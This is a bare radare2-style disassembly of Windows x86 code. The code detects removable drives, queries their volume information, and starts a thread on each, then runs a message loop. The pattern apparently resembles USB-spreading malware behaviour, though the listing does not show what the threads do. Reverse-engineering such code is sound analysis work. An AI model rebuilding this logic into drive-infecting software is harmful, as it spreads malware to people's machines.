push ecx
call fcn.0040b050
add esp, 8
add eax, 2
mov dword [ebp - 0x2cf4], eax
lea edx, [ebp - 0x2efc]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x2f00], eax
cmp dword [ebp - 0x2f00], 2
jne 0x402b16
mov dword [ebp - 0x2f0c], 0
mov dword [ebp - 0x2f04], 0
push 0x104
lea eax, [ebp - 0x3114]
push eax
lea ecx, [ebp - 0x2f0c]
push ecx
push 0
lea edx, [ebp - 0x2f04]
push edx
push 0
push 0
lea eax, [ebp - 0x2efc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x402aa5
jmp 0x4029e0
lea ecx, [ebp - 0x3114]
push ecx
call fcn.0040be00
add esp, 4
cmp eax, 1
jbe 0x402ac2
cmp dword [ebp - 0x2f0c], 0
ja 0x402ac7
jmp 0x4029e0
lea edx, [ebp - 0x2efc]
push edx
push 0x427794
call fcn.0040c8aa
add esp, 8
push 0
push 0
push 0x427794
push 0x40402a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x2f08], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f08]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0040858e
jmp 0x4029e0
cmp dword [ebp - 0x1c], 0
je 0x402b39
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3130], ecx
mov edx, dword [ebp - 0x3130]
push edx
call fcn.00417941
add esp, 4
mov eax, dword [ebp + 8]
push eax
call fcn.00402baa
add esp, 4
and eax, 0xffff
test eax, eax
jne 0x402b52
xor eax, eax
jmp 0x402b97
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00402c36
add esp, 8
test eax, eax
jne 0x402b6a
xor eax, eax
jmp 0x402b97
push 0
push 0
push 0
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x402b94
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x38]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x402b6a
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10